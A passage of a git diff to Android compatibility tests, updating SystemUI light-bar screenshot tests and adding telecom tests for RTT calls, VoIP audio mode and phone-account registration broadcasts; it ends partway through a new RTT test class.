- if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
- || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
- || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
- // No navigation bar on TVs and watches.
- return;
- }
-
- if (!ActivityManager.isHighEndGfx()) {
- // non-highEndGfx devices don't do colored system bars.
- return;
- }
-
- if (!hasVirtualNavigationBar()) {
- // No virtual navigation bar, so no effect.
- return;
- }
+ assumeHasColorNavigationBar(mActivityRule);
requestLightBars(Color.RED /* background */);
- Thread.sleep(1000);
+ Thread.sleep(WAIT_TIME);
- Bitmap bitmap = takeNavigationBarScreenshot();
+ // Inject a cancelled interaction with the nav bar to ensure it is at full opacity.
+ int x = mActivityRule.getActivity().getWidth() / 2;
+ int y = mActivityRule.getActivity().getBottom() + 10;
+ injectCanceledTap(x, y);
+ Thread.sleep(WAIT_TIME);
+
+ Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
assertLightStats(bitmap, s);
}
- private boolean hasVirtualNavigationBar() {
- boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
- boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
- return !hasBackKey || !hasHomeKey;
+ private void injectCanceledTap(int x, int y) {
+ long downTime = SystemClock.uptimeMillis();
+ injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
+ injectEvent(MotionEvent.ACTION_CANCEL, x, y, downTime);
+ }
+
+ private void injectEvent(int action, int x, int y, long downTime) {
+ final UiAutomation automation = getInstrumentation().getUiAutomation();
+ final long eventTime = SystemClock.uptimeMillis();
+ MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0);
+ event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ assertTrue(automation.injectInputEvent(event, true));
+ event.recycle();
}
private void assertLightStats(Bitmap bitmap, Stats s) {
@@ -119,7 +179,7 @@
(float) s.backgroundPixels / s.totalPixels(),
"Is the bar background showing correctly (solid red)?");
- assertMoreThan("Not enough pixels colored as in the spec", 0.1f,
+ assertMoreThan("Not enough pixels colored as in the spec", 0.3f,
(float) s.iconPixels / s.foregroundPixels(),
"Are the bar icons colored according to the spec "
+ "(60% black and 24% black)?");
@@ -135,20 +195,11 @@
success = true;
} finally {
if (!success) {
- Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
dumpBitmap(bitmap);
}
}
}
- private boolean isRunningInVR() {
- final android.content.Context context =
- android.support.test.InstrumentationRegistry.getContext();
- android.content.res.Configuration config = context.getResources().getConfiguration();
- return (config.uiMode & android.content.res.Configuration.UI_MODE_TYPE_MASK)
- == android.content.res.Configuration.UI_MODE_TYPE_VR_HEADSET;
- }
-
private void assertMoreThan(String what, float expected, float actual, String hint) {
if (!(actual > expected)) {
fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
@@ -164,8 +215,8 @@
}
private void requestLightBars(final int background) throws Throwable {
- final LightBarActivity activity = getActivity();
- runTestOnUiThread(() -> {
+ final LightBarActivity activity = mActivityRule.getActivity();
+ activity.runOnUiThread(() -> {
activity.getWindow().setStatusBarColor(background);
activity.getWindow().setNavigationBarColor(background);
activity.setLightStatusBar(true);
@@ -204,6 +255,15 @@
int mixedIconColor = mixSrcOver(background, iconColor);
int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
+ float [] hsvMixedIconColor = new float[3];
+ float [] hsvMixedPartialColor = new float[3];
+ Color.RGBToHSV(Color.red(mixedIconColor), Color.green(mixedIconColor),
+ Color.blue(mixedIconColor), hsvMixedIconColor);
+ Color.RGBToHSV(Color.red(mixedIconPartialColor), Color.green(mixedIconPartialColor),
+ Color.blue(mixedIconPartialColor), hsvMixedPartialColor);
+
+ float maxHsvValue = Math.max(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
+ float minHsvValue = Math.min(hsvMixedIconColor[2], hsvMixedPartialColor[2]);
int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
@@ -211,14 +271,17 @@
Stats s = new Stats();
float eps = 0.005f;
+ float [] hsvPixel = new float[3];
for (int c : pixels) {
- if (c == background) {
+ if (isColorSame(c, background)) {
s.backgroundPixels++;
continue;
}
// What we expect the icons to be colored according to the spec.
- if (c == mixedIconColor || c == mixedIconPartialColor) {
+ Color.RGBToHSV(Color.red(c), Color.green(c), Color.blue(c), hsvPixel);
+ if (isColorSame(c, mixedIconColor) || isColorSame(c, mixedIconPartialColor)
+ || (hsvPixel[2] >= minHsvValue && hsvPixel[2] <= maxHsvValue)) {
s.iconPixels++;
continue;
}
@@ -242,25 +305,6 @@
return s;
}
- private void dumpBitmap(Bitmap bitmap) {
- FileOutputStream fileStream = null;
- try {
- fileStream = new FileOutputStream(DUMP_PATH);
- bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
- fileStream.flush();
- } catch (Exception e) {
- Log.e(TAG, "Dumping bitmap failed.", e);
- } finally {
- if (fileStream != null) {
- try {
- fileStream.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- }
-
private int mixSrcOver(int background, int foreground) {
int bgAlpha = Color.alpha(background);
int bgRed = Color.red(background);
@@ -278,15 +322,14 @@
fgBlue + (255 - fgAlpha) * bgBlue / 255);
}
- private Bitmap takeStatusBarScreenshot() {
- Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
- return Bitmap.createBitmap(fullBitmap, 0, 0,
- getActivity().getWidth(), getActivity().getTop());
- }
-
- private Bitmap takeNavigationBarScreenshot() {
- Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
- return Bitmap.createBitmap(fullBitmap, 0, getActivity().getBottom(),
- getActivity().getWidth(), fullBitmap.getHeight() - getActivity().getBottom());
+ /**
+ * Check if two colors' diff is in the error margin as defined in
+ * {@link #COLOR_COMPONENT_ERROR_MARGIN}.
+ */
+ private boolean isColorSame(int c1, int c2){
+ return Math.abs(Color.alpha(c1) - Color.alpha(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.red(c1) - Color.red(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.green(c1) - Color.green(c2)) < COLOR_COMPONENT_ERROR_MARGIN
+ && Math.abs(Color.blue(c1) - Color.blue(c2)) < COLOR_COMPONENT_ERROR_MARGIN;
}
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
new file mode 100644
index 0000000..d28d2b5
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+public class LightBarThemeActivity extends LightBarBaseActivity {
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
new file mode 100644
index 0000000..f8661d2
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.content.pm.PackageManager;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for light system bars that set the flag via theme.
+ *
+ * atest CtsSystemUiTestCases:LightBarThemeTest
+ */
+@RunWith(AndroidJUnit4.class)
+public class LightBarThemeTest extends LightBarTestBase {
+
+ private UiDevice mDevice;
+
+ @Rule
+ public ActivityTestRule<LightBarThemeActivity> mActivityRule = new ActivityTestRule<>(
+ LightBarThemeActivity.class);
+
+ @Before
+ public void setUp() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ }
+
+ @Test
+ public void testThemeSetsFlags() throws Exception {
+ final int visibility = mActivityRule.getActivity().getSystemUiVisibility();
+ assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR) != 0);
+ assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR) != 0);
+ }
+
+ @Test
+ public void testNavigationBarDividerColor() throws Throwable {
+ assumeHasColorNavigationBar(mActivityRule);
+
+ // Wait until the activity is fully visible
+ mDevice.waitForIdle();
+
+ checkNavigationBarDivider(mActivityRule.getActivity(),
+ getInstrumentation().getContext().getColor(R.color.navigationBarDividerColor));
+ }
+}
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 6b12ce8..8a243eb 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -24,13 +24,17 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 6dcd6ca..f0cad67 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -74,6 +74,13 @@
</intent-filter>
</receiver>
+ <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver">
+ <intent-filter>
+ <action android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED"/>
+ <action android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED"/>
+ </intent-filter>
+ </receiver>
+
<activity android:name="android.telecom.cts.MockDialerActivity">
<intent-filter>
<action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 3a70102..93e4c65 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -68,6 +68,10 @@
TestUtils.InvokeCounter mOnConnectionEventCounter;
TestUtils.InvokeCounter mOnExtrasChangedCounter;
TestUtils.InvokeCounter mOnPropertiesChangedCounter;
+ TestUtils.InvokeCounter mOnRttModeChangedCounter;
+ TestUtils.InvokeCounter mOnRttStatusChangedCounter;
+ TestUtils.InvokeCounter mOnRttInitiationFailedCounter;
+ TestUtils.InvokeCounter mOnRttRequestCounter;
Bundle mPreviousExtras;
int mPreviousProperties = -1;
@@ -228,6 +232,27 @@
Log.i(TAG, "onSilenceRinger");
mOnSilenceRingerCounter.invoke();
}
+
+ @Override
+ public void onRttModeChanged(Call call, int mode) {
+ mOnRttModeChangedCounter.invoke(call, mode);
+ }
+
+ @Override
+ public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+ mOnRttStatusChangedCounter.invoke(call, enabled, rttCall);
+ }
+
+ @Override
+ public void onRttRequest(Call call, int id) {
+ mOnRttRequestCounter.invoke(call, id);
+ }
+
+ @Override
+ public void onRttInitiationFailure(Call call, int reason) {
+ mOnRttInitiationFailedCounter.invoke(call, reason);
+ }
+
};
MockInCallService.setCallbacks(mInCallCallbacks);
@@ -242,6 +267,11 @@
mOnConnectionEventCounter = new TestUtils.InvokeCounter("OnConnectionEvent");
mOnExtrasChangedCounter = new TestUtils.InvokeCounter("OnDetailsChangedCounter");
mOnPropertiesChangedCounter = new TestUtils.InvokeCounter("OnPropertiesChangedCounter");
+ mOnRttModeChangedCounter = new TestUtils.InvokeCounter("mOnRttModeChangedCounter");
+ mOnRttStatusChangedCounter = new TestUtils.InvokeCounter("mOnRttStatusChangedCounter");
+ mOnRttInitiationFailedCounter =
+ new TestUtils.InvokeCounter("mOnRttInitiationFailedCounter");
+ mOnRttRequestCounter = new TestUtils.InvokeCounter("mOnRttRequestCounter");
}
/**
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
old mode 100644
new mode 100755
index 1895b0f..38f2673
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -19,6 +19,8 @@
import static android.telecom.cts.TestUtils.*;
import android.content.ComponentName;
+import android.content.Context;
+import android.media.AudioManager;
import android.telecom.Call;
import android.telecom.Connection;
import android.telecom.ConnectionService;
@@ -27,7 +29,8 @@
import java.util.Collection;
/**
- * Test some additional {@link ConnectionService} APIs not already covered by other tests.
+ * Test some additional {@link ConnectionService} and {@link Connection} APIs not already covered
+ * by other tests.
*/
public class ConnectionServiceTest extends BaseTelecomTestWithMockServices {
@@ -104,6 +107,50 @@
assertCallState(call, Call.STATE_DIALING);
}
+ public void testVoipAudioModePropagation() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ MockConnection connection = verifyConnectionForOutgoingCall();
+ connection.setAudioModeIsVoip(true);
+ waitOnAllHandlers(getInstrumentation());
+
+ AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return AudioManager.MODE_IN_COMMUNICATION;
+ }
+
+ @Override
+ public Object actual() {
+ return audioManager.getMode();
+ }
+ },
+ WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-communication"
+ );
+
+ connection.setAudioModeIsVoip(false);
+ waitOnAllHandlers(getInstrumentation());
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return AudioManager.MODE_IN_CALL;
+ }
+
+ @Override
+ public Object actual() {
+ return audioManager.getMode();
+ }
+ },
+ WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "wait for mode in-call"
+ );
+ }
+
public void testGetAllConnections() {
if (!mShouldTestTelecom) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index a87b943..a8a86c2 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -33,6 +33,8 @@
import android.telecom.VideoProfile;
import android.telephony.TelephonyManager;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.List;
/**
@@ -318,6 +320,7 @@
}
}
+ @CddTest(requirement="7.4.1.1/C-1-3")
public void testIncomingCallFromBlockedNumber_IsRejected() throws Exception {
if (!mShouldTestTelecom) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 5183bd4..da4fcf5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -37,6 +37,9 @@
public static final int ON_CALL_EVENT = 2;
public static final int ON_PULL_EXTERNAL_CALL = 3;
public static final int ON_EXTRAS_CHANGED = 4;
+ public static final int ON_START_RTT = 5;
+ public static final int ON_RTT_REQUEST_RESPONSE = 6;
+ public static final int ON_STOP_RTT = 7;
private CallAudioState mCallAudioState =
new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -46,6 +49,7 @@
private MockVideoProvider mMockVideoProvider;
private PhoneAccountHandle mPhoneAccountHandle;
private RemoteConnection mRemoteConnection = null;
+ private RttTextStream mRttTextStream;
private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(10);
@@ -187,6 +191,36 @@
}
}
+ @Override
+ public void onStartRtt(RttTextStream rttTextStream) {
+ super.onStartRtt(rttTextStream);
+ if (mInvokeCounterMap.get(ON_START_RTT) != null) {
+ mInvokeCounterMap.get(ON_START_RTT).invoke(rttTextStream);
+ }
+ }
+
+ @Override
+ public void handleRttUpgradeResponse(RttTextStream rttTextStream) {
+ super.handleRttUpgradeResponse(rttTextStream);
+ if (rttTextStream != null) {
+ setRttTextStream(rttTextStream);
+ setConnectionProperties(getConnectionProperties() | PROPERTY_IS_RTT);
+ }
+
+ if (mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE) != null) {
+ mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE).invoke(rttTextStream);
+ }
+ }
+
+ @Override
+ public void onStopRtt() {
+ super.onStopRtt();
+
+ if (mInvokeCounterMap.get(ON_STOP_RTT) != null) {
+ mInvokeCounterMap.get(ON_STOP_RTT).invoke();
+ }
+ }
+
public int getCurrentState() {
return mState;
}
@@ -264,6 +298,14 @@
return mRemoteConnection;
}
+ public void setRttTextStream(RttTextStream rttTextStream) {
+ mRttTextStream = rttTextStream;
+ }
+
+ public RttTextStream getRttTextStream() {
+ return mRttTextStream;
+ }
+
private static String getCounterLabel(int counterIndex) {
switch (counterIndex) {
case ON_POST_DIAL_WAIT:
@@ -274,6 +316,12 @@
return "onPullExternalCall";
case ON_EXTRAS_CHANGED:
return "onExtrasChanged";
+ case ON_START_RTT:
+ return "onStartRtt";
+ case ON_RTT_REQUEST_RESPONSE:
+ return "onRttRequestResponse";
+ case ON_STOP_RTT:
+ return "onStopRtt";
default:
return "Callback";
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 4b9063d..6e022e6 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -65,6 +65,11 @@
}
connection.setVideoState(request.getVideoState());
connection.setInitializing();
+ if (request.isRequestingRtt()) {
+ connection.setRttTextStream(request.getRttTextStream());
+ connection.setConnectionProperties(connection.getConnectionProperties() |
+ Connection.PROPERTY_IS_RTT);
+ }
outgoingConnections.add(connection);
lock.release();
@@ -82,6 +87,11 @@
| Connection.CAPABILITY_HOLD);
connection.createMockVideoProvider();
((Connection) connection).setVideoState(request.getVideoState());
+ if (request.isRequestingRtt()) {
+ connection.setRttTextStream(request.getRttTextStream());
+ connection.setConnectionProperties(connection.getConnectionProperties() |
+ Connection.PROPERTY_IS_RTT);
+ }
connection.setRinging();
incomingConnections.add(connection);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
index 4ff3cb6..e13335e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
@@ -61,6 +61,10 @@
public void onCannedTextResponsesLoaded(Call call, List<String> cannedTextResponses) {}
public void onSilenceRinger() {}
public void onConnectionEvent(Call call, String event, Bundle extras) {}
+ public void onRttModeChanged(Call call, int mode) {}
+ public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {}
+ public void onRttRequest(Call call, int id) {}
+ public void onRttInitiationFailure(Call call, int reason) {}
final public MockInCallService getService() {
return mService;
@@ -153,6 +157,38 @@
getCallbacks().onConnectionEvent(call, event, extras);
}
}
+
+ @Override
+ public void onRttModeChanged(Call call, int mode) {
+ super.onRttModeChanged(call, mode);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttModeChanged(call, mode);
+ }
+ }
+
+ @Override
+ public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+ super.onRttStatusChanged(call, enabled, rttCall);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttStatusChanged(call, enabled, rttCall);
+ }
+ }
+
+ @Override
+ public void onRttRequest(Call call, int id) {
+ super.onRttRequest(call, id);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttRequest(call, id);
+ }
+ }
+
+ @Override
+ public void onRttInitiationFailure(Call call, int reason) {
+ super.onRttInitiationFailure(call, reason);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttInitiationFailure(call, reason);
+ }
+ }
};
private void saveVideoCall(Call call, VideoCall videoCall) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
new file mode 100644
index 0000000..0601d75
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * Receives {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} and
+ * {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} intents.
+ */
+public class MockPhoneAccountChangedReceiver extends BroadcastReceiver {
+ public interface IntentListener {
+ void onPhoneAccountRegistered(PhoneAccountHandle handle);
+ void onPhoneAccountUnregistered(PhoneAccountHandle handle);
+ }
+
+ private static IntentListener sIntentListener = null;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (sIntentListener != null) {
+ if (TelecomManager.ACTION_PHONE_ACCOUNT_REGISTERED.equals(intent.getAction())) {
+ sIntentListener.onPhoneAccountRegistered(intent.getParcelableExtra(
+ TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+ } else if (TelecomManager.ACTION_PHONE_ACCOUNT_UNREGISTERED.equals(
+ intent.getAction())) {
+ sIntentListener.onPhoneAccountUnregistered(intent.getParcelableExtra(
+ TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+ }
+ }
+ }
+
+ public static void setIntentListener(IntentListener listener) {
+ sIntentListener = listener;
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 4374516..c9b5000 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -43,6 +43,22 @@
public static final int TEST_LENGTH = 10;
public static final String TEST_ENCODING = "enUS";
+ private TestUtils.InvokeCounter mPhoneAccountRegisteredLatch;
+ private TestUtils.InvokeCounter mPhoneAccountUnRegisteredLatch;
+
+ MockPhoneAccountChangedReceiver.IntentListener mPhoneAccountIntentListener =
+ new MockPhoneAccountChangedReceiver.IntentListener() {
+ @Override
+ public void onPhoneAccountRegistered(PhoneAccountHandle handle) {
+ mPhoneAccountRegisteredLatch.invoke(handle);
+ }
+
+ @Override
+ public void onPhoneAccountUnregistered(PhoneAccountHandle handle) {
+ mPhoneAccountUnRegisteredLatch.invoke(handle);
+ }
+ };
+
private static Bundle createTestBundle() {
Bundle testBundle = new Bundle();
testBundle.putInt(PhoneAccount.EXTRA_CALL_SUBJECT_MAX_LENGTH, TEST_LENGTH);
@@ -96,6 +112,8 @@
return;
}
mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+ mPhoneAccountRegisteredLatch = new TestUtils.InvokeCounter("registerPhoneAcct");
+ mPhoneAccountUnRegisteredLatch = new TestUtils.InvokeCounter("unRegisterPhoneAcct");
}
@Override
@@ -225,4 +243,38 @@
assertTrue("Phone account should support voicemail URI scheme.",
retrievedPhoneAccount.supportsUriScheme(PhoneAccount.SCHEME_VOICEMAIL));
}
+
+ /**
+ * Verifies that the {@link TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} intent is sent to
+ * the default dialer when a phone account is registered and,
+ * {@link TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} is sent when a phone account is
+ * unregistered.
+ * @throws Exception
+ */
+ public void testRegisterUnregisterPhoneAccountIntent() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ MockPhoneAccountChangedReceiver.setIntentListener(mPhoneAccountIntentListener);
+ String previousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+ try {
+ TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
+
+ mTelecomManager.registerPhoneAccount(TEST_NO_SIM_PHONE_ACCOUNT);
+
+ mPhoneAccountRegisteredLatch.waitForCount(1);
+ PhoneAccountHandle handle =
+ (PhoneAccountHandle) mPhoneAccountRegisteredLatch.getArgs(0)[0];
+ assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle);
+
+ mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
+ mPhoneAccountUnRegisteredLatch.waitForCount(1);
+ PhoneAccountHandle handle2 =
+ (PhoneAccountHandle) mPhoneAccountUnRegisteredLatch.getArgs(0)[0];
+ assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle2);
+ } finally {
+ TestUtils.setDefaultDialer(getInstrumentation(), previousDefaultDialer);
+ }
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
new file mode 100644
index 0000000..992cbca
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.os.Bundle;
+import android.telecom.Call;
+import android.telecom.Connection;
+import android.telecom.TelecomManager;
+
+import java.io.IOException;
+
+public class RttOperationsTest extends BaseTelecomTestWithMockServices {
+ private static final int RTT_SEND_TIMEOUT_MILLIS = 1000;
+ private static final String[] TEST_STRINGS = {
+ "A",
+ "AB",
+ "ABCDEFG",
+ "お疲れ様でした",
+ "😂😂😂💯"
+ };
+ private static final int RTT_FAILURE_REASON = 2;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ if (mShouldTestTelecom) {
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ }
+ }
+
+ public void testOutgoingRttCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(false);
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testIncomingRttCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(true);
+ final MockConnection connection = verifyConnectionForIncomingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testLocalRttUpgradeAccepted() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
